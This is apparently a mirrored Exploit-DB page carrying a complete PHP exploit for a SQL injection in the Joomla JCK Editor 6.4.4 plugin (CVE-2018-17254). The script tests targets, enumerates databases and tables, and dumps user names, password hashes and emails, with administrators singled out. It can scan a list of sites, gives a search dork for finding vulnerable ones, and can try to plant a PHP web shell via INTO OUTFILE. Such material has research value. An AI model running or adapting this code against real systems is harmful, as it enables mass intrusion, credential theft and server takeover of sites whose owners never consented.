Joomla JCK Editor 6.4.4 – ‘parent’ SQL Injection (2)

  • 作者: Nicholas Ferreira
    日期: 2021-03-08
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/49627/
  • # Exploit Title: Joomla JCK Editor 6.4.4 - 'parent' SQL Injection (2)
    # Googke Dork: inurl:/plugins/editors/jckeditor/plugins/jtreelink/
    # Date: 05/03/2021
    # Exploit Author: Nicholas Ferreira
    # Vendor Homepage: http://docs.arkextensions.com/downloads/jck-editor
    # Version: 6.4.4
    # Tested on: Debian 10
    # CVE : CVE-2018-17254
    # PHP version (exploit): 7.3.27
    # POC: /plugins/editors/jckeditor/plugins/jtreelink/dialogs/links.php?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,@@version,NULL,NULL,NULL,NULL,NULL--%20aa
    
    <?php
    
    $vuln_file = '/editors/jckeditor/plugins/jtreelink/dialogs/links.php';
    
    function payload($str1, $str2=""){
    	return '?extension=menu&view=menu&parent="%20UNION%20SELECT%20NULL,NULL,'.$str1.',NULL,NULL,NULL,NULL,NULL'.$str2.'--%20aa'; #"
    }
    
    
    function get_request($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    	#curl_setopt($ch, CURLOPT_PROXY, "127.0.0.1:8080");
    $output = curl_exec($ch);
    curl_close($ch);
    return $output;
    }
    
    function parse_columns($columns){
    	$parsed_columns = array();
    	foreach($columns as $col){
    		array_push($parsed_columns, $col);
    		array_push($parsed_columns, "0x242324"); //delimiter = $#$
    	}
    	return $parsed_columns;
    }
    
    function inject($url, $payload){
    	global $vuln_file;
    	$request = get_request($url.$vuln_file.$payload);
    	preg_match_all('/url ="(.*)">/', $request, $output);
    	return $output;
    }
    ######
    
    function is_vulnerable($url){
    	global $vuln_file;
    	$output = inject($url, payload("0x6861636b6564"));
    	if(isset($output[1][0])){
    		if(base64_encode($output[1][0]) == "aGFja2Vk"){ //checking if we can inject
    			return 1;
    		}
    	}
    	return 0;
    }
    
    function get_db_names($url){
    	global $vuln_file;
    	$db_names = array();
    	$output = inject($url, payload("schema_name", "%20from%20information_schema.schemata"));
    	foreach($output[1] as $db){
    		array_push($db_names, $db);
    	}
    	return $db_names;
    }
    
    function get_table_names($url, $db){
    	global $vuln_file;
    	$table_names = array();
    	$output = inject($url, payload("table_name", "%20from%20information_schema.tables%20WHERE%20table_schema=%27".$db."%27"));
    	foreach($output as $table){
    		array_push($table_names, $table);
    	}
    	return $table_names;
    }
    
    function get_column_names($url, $table){
    	global $vuln_file;
    	$column_names = array();
    	$output = inject($url, payload("column_name", "%20from%20information_schema.columns%20WHERE%20table_name=%27".$table."%27"));
    	foreach($output as $column){
    		array_push($column_names, $column);
    	}
    	return $column_names;
    }
    
    function dump_columns($url, $columns, $dbname, $table){
    	global $vuln_file;
    	$column_dump = array();
    	$related_arr = array();
    	$data = array();
    	$output = inject($url, payload("concat(".implode(',', parse_columns($columns)).")", "%20from%20".$dbname.".".$table));
    	foreach($output[1] as $column){
    		$exploded = explode("$#$", $column);
    		array_push($data, $exploded);
    	}
    	foreach($data as $user_info){
    		array_pop($user_info);
    		array_push($related_arr, array_combine($columns, $user_info));
    	}
    	return $related_arr;
    }
    
    function rce($url){	//probably won't work =(
    	global $vuln_file;
    	if(!is_vulnerable($url)){
    		die(red("[-] Target isn't vulnerable."));
    	}
    	$server_root = array("/var/www/", "/var/www/html/", "/usr/local/apache2/htdocs/", "/var/www/nginx-default/", "/srv/www/", "/usr/local/apache2/htdocs/");
    	$rand_content = "AklOGg8kJ7GfbIuBYfDS2apD4L2vADk8QgODUg2OmDNy2";
    	$payl0ad = "'<?php system(\$_GET[0]); ?> ".$rand_content."'";
    	$filename = rand(1000, 7359).".php";
    	echo cyan("[i]")." Trying to upload a RCE shell...\n";
    	foreach($server_root as $path){
    		inject($url, payload($payl0ad, " INTO OUTFILE '".$path.$filename."'"));
    	}
    	$get_shell = get_request($url."/".$filename);
    	if(strpos($get_shell, $rand_content) !== false){
    		echo green("[+] RCE shell successfully uploaded! =)\n");
    		die("Usage: ".$url."/".$filename."?0=whoami\n");
    	}else{
    		echo(red("[-] ")."Could not upload RCE shell. Maybe stacked queries are not supported. =(\n");
    		die(cyan("[i] ")."But you can still inject SQL commands! What about dumping the users table? =)\n");
    	}
    }
    
    function read_file($url, $file){
    	global $vuln_file;
    }
    
    ############
    
    function green($str){
    	return "\e[92m".$str."\e[0m";
    }
    function red($str){
    	return "\e[91m".$str."\e[0m";
    }
    function yellow($str){
    	return "\e[93m".$str."\e[0m";
    }
    function cyan($str){
    	return "\e[96m".$str."\e[0m";
    }
    
    function banner(){
    	echo "
     _________ __ _____
    |_|/__ \| | / /|_\
    | || /\/| |/ / | | | | _ __ __ ___ _ ______ _
    | || ||\ | | | || | | || '_ ` _ \ | '_ \/ _ \| '__|
    /\__/ /| \__/\| |\\| |/ / | |_| || | | | | || |_) ||__/| |
    \____/\____/\_| \_/|___/ \__,_||_| |_| |_|| .__/\___||_|
     ".green("Coder: ").yellow("Nicholas Ferreira")." | |
    |_|
    
    ";
    }
    $target = 0;
    $rce = 0;
    function check(){
    	global $argv;
    	global $argc;
    	global $target;
    	global $rce;
    	global $target_list;
    	global $save_output;
    	global $verbose;
    	global $less;
    	global $specified_db;
    	$short_args = "u:t:v::h::l::r::d::";
    	$long_args = array("url:","targets::","verbose::","help::","less::","rce::", "db::");
    	$options = getopt($short_args, $long_args);
    
    	if(isset($options['h']) || $argc == 1 || isset($options['help'])){
    		echo "JCK Editor v6.4.4 SQL Injection exploit (CVE-2018-17254)
    
    	Usage: php ".$argv[0]." -u url [-h] [-v] [-l] [-o] [-r command] [-f list_of_targets] [-d db]
    
    	-u, --url: Path to Joomla! plugins (e.g. website.com/site/plugins/)
    	-h, --help: Help
    	-v, --verbose: Verbose mode (print tables)
    	-l, --less: Less outputs (only Administrator usernames and passwords)
    	-t, --targets: Load a list of targets
    	-r, --rce: Try to upload a RCE shell
    	-d, --db: Specifies the DB to dump
    
    	";
    
    		}
    
    		if(isset($options['u'])){
    			$target = $options['u'];
    		}elseif(isset($options['url'])){
    			$target = $options['url'];
    		}else{
    			$target = "";
    		}
    
    		isset($options['v']) || isset($options['verbose']) ? $verbose = 1 : $verbose = 0;
    		isset($options['l']) || isset($options['less']) ? $less = 1 : $less = 0;
    		isset($options['r']) || isset($options['rce']) ? $rce = 1 : $rce = 0;
    		isset($options['f']) ? $target_list = $options['f'] : $target_list = 0;
    
    		if(isset($options['t'])){
    			$target_list = $options['t'];
    		}elseif(isset($options['targets'])){
    			$target_list = $options['targets'];
    		}else{
    			$target_list = 0;
    		}
    
    		if(isset($options['d'])){
    			$specified_db = $options['d'];
    		}elseif(isset($options['db'])){
    			$specified_db = $options['db'];
    		}else{
    			$specified_db = 0;
    		}
    
    
    		if(strlen($target_list) < 2){
    			if($target !== ""){ // check if URL is ok
    				if(!preg_match('/^((https?:\/\/)|(www\.)|(.*))([a-z0-9-].?)+(:[0-9]+)?(\/.*)?$/', $target)){
    					die(red("[i] The target must be a URL.\n"));
    				}
    				if(strpos($target, "plugins") == false){
    					die(red("[-] You must provide the Joomla! plugins path! (standard: exemple.com/plugins/)\n"));
    				}
    			}else{
    				die(cyan("[-] ")."You can get help with -h.\n");
    			}
    		}
    
    		if($target_list !== 0){ //check if target list is readable
    			if(!file_exists($target_list)){
    				die(red("[-] ")."Could not read target list file.\n");
    			}
    		}
    }
    
    
    
    function exploit($url){ // returns users and passwords
    	global $vuln_file;
    	global $verbose;
    	global $rce;
    	global $specified_db;
    	global $less;
    	echo cyan("\n=========================| ".str_replace("plugins", "", $url)." |=========================\n\n\n");
    	echo cyan("[+] ")."Checking if target is vulnerable...\n";
    	if (is_vulnerable($url)){
    		$main_db = inject($url, payload("database()"))[1];
    		$user_table = "";
    		$hostname = inject($url, payload("@@hostname"))[1];
    		$mysql_user = inject($url, payload("user()"))[1];
    		$mysql_version = inject($url, payload("@@version"))[1];
    		$connection_id = inject($url, payload("connection_id()"))[1];
    
    		echo green("[+] Target is vulnerable! =)\n\n");
    		echo cyan("[i] ")."Hostname: ".yellow($hostname[0])."\n";
    		echo cyan("[i] ")."Current database: ".yellow($main_db[0])."\n";
    		echo cyan("[i] ")."MySQL version: ".yellow($mysql_version[0])."\n";
    		echo cyan("[i] ")."MySQL user: ".yellow($mysql_user[0])."\n";
    		echo cyan("[i] ")."Connection ID: ".yellow($connection_id[0])."\n\n";
    
    		if($rce){
    			rce($url);
    		}
    
    
    		echo cyan("[+] ")."Getting DB names...\n";
    		$dbs = get_db_names($url);
    		if(count($dbs) == 0){
    			echo("[-] There are no DBs available on this target. =(\n");
    		}
    
    		$db_list = array();
    		foreach($dbs as $db){
    			$num_table = count(get_table_names($url, $db)[1]);
    			echo green("[+] DB found: ").cyan($db." [".$num_table." tables]")."\n";
    			array_push($db_list, $db);
    		}
    		if($main_db == "" && !$specified_db){
    			echo(red("[-] Could not find Joomla! default DB. Try to dump another DB with -d. \n"));
    		}
    		if($specified_db !== 0){ // if user doesn't specify a custom db
    			echo cyan("\n[+] ")."Getting tables from ".yellow($specified_db)."...\n";
    			$tables = get_table_names($url, $specified_db);
    		}else{
    			foreach($db_list as $new_db){
    				if($new_db !== "test" && strlen(strpos($new_db, "information_schema") !== false) == 0){ // neither test nor i_schema
    					echo cyan("\n[+] ")."Getting tables from ".yellow($new_db)."...\n";
    					$tables = get_table_names($url, $new_db);
    				}
    			}
    		}
    		echo cyan("[+] ").yellow(count($tables[1]))." tables found! \n";
    		if(count($tables[1]) == 0){
    			echo(red("[-] "."Site is vulnerable, but no tables were found on this DB. Try to dump another DB with -d. \n"));
    		}
    
    		foreach($tables[1] as $table){
    			if($verbose) echo $table."\n";
    			if(strpos($table, "_users") !== false){
    				$user_table = $table;
    			}
    		}
    
    		if($user_table == ""){
    			echo(red("[-] Could not find Joomla default users table. Try to find it manually!\n"));
    		}
    
    		echo cyan("[+] ")."Getting columns from ".yellow($user_table)."...\n";
    		$columns = get_column_names($url, $user_table);
    
    		if(count($columns) == 0){
    			echo(red("[-] There are no columns on this table... =(\n"));
    		}
    		if($verbose){
    			echo cyan("[+] ")."Columns found:\n";
    			foreach($columns[1] as $coll){
    				echo $coll."\n";
    			}
    		}
    		echo cyan("[+] ")."Dumping usernames from ".yellow($user_table)."...\n";
    
    		$dump = dump_columns($url, array("id","usertype", "name","username","password","email","lastvisitDate"), $db, $user_table);
    
    		if(is_array($dump) && count($dump) == 0){
    			$new_dump = dump_columns($url, array("id","name","username","password","email","lastvisitDate"), $db, $user_table);
    			if(count($new_dump) == 0){
    				echo(red("[-] This table is empty! =(\n"));
    			}else{
    				$dump = $new_dump;
    				$usertype = 0;
    			}
    		}else{
    			$usertype = 1;
    		}
    		echo cyan("\n[+] ")."Retrieved data:\n";
    		foreach($dump as $user){
    		if($usertype){
    			$adm = strpos($user['usertype'], 'Administrator') !== false;
    		}else{
    			$adm = false;
    		}
    		if($less){
    			if(strpos($user['usertype'], "Administrator") !== false){
    				echo "\n=============== ".green($user['username'])." ===============\n";
    				foreach($user as $key => $data){
    					if(strlen($data) > 0){
    							if($key == "username" || $key == "password" || $adm){
    								echo($key.": ".red($data)."\n");
    							}else{
    								echo($key.": ".$data."\n");
    							}
    					}
    				}
    			}
    
    		}else{
    			echo "\n=============== ".green($user['username'])." ===============\n";
    			foreach($user as $key => $data){
    				if(strlen($data) > 0){
    						if($key == "username" || $key == "password" ||$adm){
    							echo($key.": ".red($data)."\n");
    						}else{
    							echo($key.": ".$data."\n");
    						}
    					}
    				}
    			}
    
    		}
    
    		echo(green("\nExploit completed! =)\n\n\n"));
    
    	}else{
    		echo(red("[-] Apparently, the provided target is not vulnerable. =(\n\n"));
    		echo(cyan("[i] ")."This may be a connectivity issue. If you're persistent, you can try again.\n");
    	}
    }
    
    
    banner();
    check();
    
    if(strlen($target_list) >1){
    	$targets = explode(PHP_EOL, file_get_contents($target_list)); //split by newline
    	foreach($targets as $website){
    		if($rce){
    			rce($target);
    		}else{
    			if(strlen($website) > 1){
    				exploit($website); //multiple targets
    			}
    		}
    	}
    }else{
    	exploit($target); //single target
    }
    
    ?>